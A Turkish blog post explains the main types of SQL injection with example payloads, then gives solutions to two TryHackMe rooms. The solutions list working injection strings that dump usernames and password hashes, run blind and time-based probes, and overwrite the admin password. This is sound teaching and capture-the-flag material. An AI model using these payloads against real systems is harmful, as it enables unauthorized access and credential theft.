SQL Injection nedir, çeşitleri nelerdir?

Aslıhan Kuzucu
6 min readSep 29, 2023

--

SQL Injection, web uygulamalarında ortaya çıkan bir siber güvenlik zaafiyetidir. Bu zafiyet, web uygulamalarının giriş formları, URL parametreleri veya başka kullanıcı tarafından sağlanan verilerle doğrudan SQL sorguları oluşturması veya çalıştırması sonucu meydana gelir.

Web uygulamaları genellikle kullanıcı tarafından sağlanan verileri kullanarak dinamik olarak SQL sorguları oluştururlar. Bu, kullanıcıların uygulamayla etkileşime geçmek ve özelleştirilmiş içerik veya veriler almak için veri girişi yapabilmelerini sağlar. Ancak, bu tür dinamik sorgular düzgün bir şekilde doğrulanmaz veya filtrelenmezse, kötü niyetli saldırganlar tarafından istismar edilebilir.

SQL Injection saldırganlara, uygulamanın veritabanına yetkisiz erişim sağlamasına, veri çalmasına, değiştirmesine veya silmesine ve hatta sistemi tamamen ele geçirmesine imkan tanır. Saldırganlar, SQL Injection kullanarak uygulamaya zararlı SQL kodları (payload) enjekte ederler ve bu kodların uygulama tarafından çalıştırılmasını sağlarlar.

Bu tür saldırılar, verileri gizli tutma, bütünlüğü sağlama ve yetkisiz erişime karşı koruma gibi temel güvenlik prensiplerini ihlal eder.

SQL Injection çeşitleri:

  • Classic SQL Injection:

Bu tür SQL Injection saldırıları, web uygulamalarındaki giriş formlarına veya URL parametrelerine müdahale edilerek gerçekleştirilir. Saldırganlar, dışarıdan kullanıcı tarafından sağlanan verileri doğrudan SQL sorgusuna enjekte ederek, uygulamanın veritabanına zararlı kodları sokabilirler.

Örnek:

Kullanıcı giriş sayfasında kullanıcı adı ve şifre girmek için iki giriş alanı bulunmaktadır. Kullanıcı adı alanına “admin” yazmak yerine “admin’ OR ‘1’=’1” gibi zararlı bir ifade girilirse, uygulama veritabanındaki tüm kullanıcıları döndüren bir SQL sorgusu oluşturulur ve saldırgan yetkisiz bir şekilde oturum açabilir.

  • Blind SQL Injection:

Bu tür saldırılarda, web uygulaması sorguya ilişkin geribildirimi kullanıcıya göstermez. Ancak saldırgan, veritabanından doğru veya yanlış sonuçları analiz ederek, veritabanı hakkında bilgi edinebilir.

Örnek:

Bir web uygulamasının arama kutusuna yapılan aramalar sonucunda “sonuç bulundu” veya “sonuç bulunamadı” mesajları döndürülmektedir. Saldırgan, bu arama kutusuna bazı SQL ifadeleri ekleyerek, veritabanında var olan tabloların veya bilgilerin olup olmadığını test edebilir. Örneğin “xyz’ AND 1=1” gibi bir ifade girildiğinde, uygulama her zaman “sonuç bulundu” mesajı verecektir, çünkü “1=1” her zaman doğrudur.

  • Time-Based Blind SQL Injection:

Bu tür SQL Injection, veritabanı sorgusunun cevap verme hızına dayalı olarak gerçekleşir. Uygulama, veritabanı sorgusunun sonucunu kullanıcıya göstermez ve saldırgan, gecikmeli yanıtları analiz ederek veritabanı hakkında bilgi edinmeye çalışır.

Örnek:

Bir web uygulaması, kullanıcı adına göre kullanıcının profiline erişim sağlar. URL’de kullanıcı adını belirten bir parametre bulunmaktadır. Saldırgan, bu parametreye “admin’ AND IF(SUBSTRING((SELECT password FROM users WHERE username=’admin’),1,1)=’a’, SLEEP(5), 0) — “ gibi bir ifade ekler. Eğer uygulama veritabanında “admin” kullanıcısı varsa ve bu ifade doğruysa, uygulama 5 saniye boyunca yanıt vermekte gecikecektir.(‘ AND IF(1=1, SLEEP(5), 0) — )

  • Error-Based SQL Injection:

Bu tür SQL Injection, uygulamanın veritabanı hatası mesajlarını kullanarak veritabanı yapısı hakkında bilgi edinmeye çalışır. Saldırgan, uygulamanın döndürdüğü hata mesajlarını analiz ederek, veritabanı tablo isimleri veya sorgu sonuçları hakkında bilgi elde etmeye çalışır.

Örnek:

Bir web uygulamasında kullanıcıların kendi profillerini düzenlemelerine izin veren bir sayfa bulunmaktadır. Bu sayfada kullanıcıya ait kullanıcı adı parametresi bulunmaktadır. Saldırgan, bu parametreye “admin’; SELECT * FROM users; — “ gibi bir ifade ekler. Eğer uygulama bu sorguyu çalıştırırsa ve sonucu ekrana yazdırırsa, saldırgan veritabanındaki tüm kullanıcıları listeleyebilir. (‘ OR 1=1 — )

  • Union-Based SQL Injection:

Union-Based SQL Injection, birden fazla SQL sorgusunun sonuçlarını birleştirme (union) işlemi ile gerçekleşir. Bu tür saldırılar, uygulamanın URL parametrelerine veya giriş formlarına eklenen kötü niyetli veriler aracılığıyla yapılır. Saldırgan, UNION operatörünü kullanarak ek bir sorgu ekler ve uygulamadan elde etmek istediği bilgileri çeker.

Örnek:

Bir web uygulamasında ürün arama sayfası bulunmaktadır. Kullanıcılar, ürün adını arama kutusuna girerek arama yapabilirler. Uygulama, girdiyi doğrulamadan SQL sorgusuna ekler. Saldırgan, arama kutusuna “Laptop’ UNION SELECT username, password FROM users — “ gibi bir ifade girerse, uygulama bu sorguyu çalıştırabilir ve kullanıcı adları ve şifreler gibi duyarlı bilgileri çekebilir.

  • Out-of-Band SQL Injection:

Out-of-Band SQL Injection, uygulamanın veritabanıyla etkileşim kurarken farklı bir kanalı kullanarak verileri çalmayı amaçlar. Bu tür saldırılar genellikle verileri doğrudan web uygulamasının yanıtında değil, farklı bir ağ protokolü veya hedefteki başka bir servis aracılığıyla almak için kullanılır.

Örnek:

Bir web uygulaması, veritabanı sorgularına bağlantılar için SOAP protokolünü kullanmaktadır. Saldırgan, bu SOAP protokolünü hedeflemek ve verileri başka bir sunucuda dinlemek için özel olarak hazırlanmış bir web servisi oluşturabilir. Daha sonra, SQL Injection saldırısını gerçekleştirerek, uygulama üzerinden veritabanına erişmeye çalışırken aynı zamanda bu özel web servisi aracılığıyla elde ettiği verileri dinleyebilir.

TryHackMe Çözümleri

LINK: https://tryhackme.com/room/sqlinjectionlm

0 UNION SELECT 1,2,group_concat(username,’:’,password SEPARATOR ‘<br>’) FROM staff_users

admin123' UNION SELECT 1,2,3 from users where username=’admin’ and password like ‘a%

Blind injection olduğu için yukarıdaki gibi denemeler yapıyoruz, password kısmına.

True döndükçe denemeye devam ediyoruz.

Tablo isimleri hakkında denemeler yapıyoruz.

Kullanıcı hakkında denemeler yapıyoruz.

referrer=admin123' UNION SELECT SLEEP(5),2 where database() like ‘u%’; —

Burada da time based blind olduğu için 5 saniye beklerse doğru, 0 dönerse yanlış olarak nitelendiriyoruz.

LINK: https://tryhackme.com/room/sqlilab

  1. 1 or 1=1 — -

2) 1' or ‘1’=’1' — -

3) http://10.10.94.1:5000/sesqli3/login?profileID=-1' or 1=1 — -&password=a

‘,nickName=sqlite_version(),email=’ = bu kodu nickname kısmına girdiğimizde bize mevcut database’in versiyonunu gösteriyor.

Sütun bilgilere eriştik: UID,name,profileID,salary,passportNr,email,nickName,password

‘,nickName=(SELECT group_concat(profileID || “,” || name || “,” || password || “:”) from usertable),email=’ : bu kodu enjekte ettiğimizde kullanıcılara ait sütun bilgilerini, sütun isimleri olmadan görüyoruz ve en aşağıda admin ve hashli parolası karşımıza çıkıyor.

Hash-identifier aracı ile bu hashlenmiş parolanın hangi şifreleme yöntemi ile hashlendiğine erişiyoruz.

Sonra kendimiz bir hashlenmiş parola oluşturuyoruz ve enjekte ediyoruz.

password=’008c70392e3abfbd0fa47bbc2ed96aa99bd49e159727fcba0f2e6abeb3a9d601' WHERE name=’Admin’ — -

Notlar kısmından şifrelere erişmek için: ‘ union select 1,group_concat(password) from users bu kullanıcı adı ile kayıt oluyoruz.

admin’ — — öncelikle bu isimde bir kullanıcı oluşturduk.

UPDATE users SET password = ? WHERE username = ‘admin’ — -’ parola değiştirme bölümünde yeni parola için bu kodu ekledik. Ardında logout yaptık. Tekrar admin ve “UPDATE users SET password = ? WHERE username = ‘admin’ — -’” bu şifreyle girdiğimizde bayrağa ulaştık.

Okuduğunuz için teşekkürler.

--

--

Aslıhan Kuzucu

Curious computer engineer interested in cyber security👩‍💻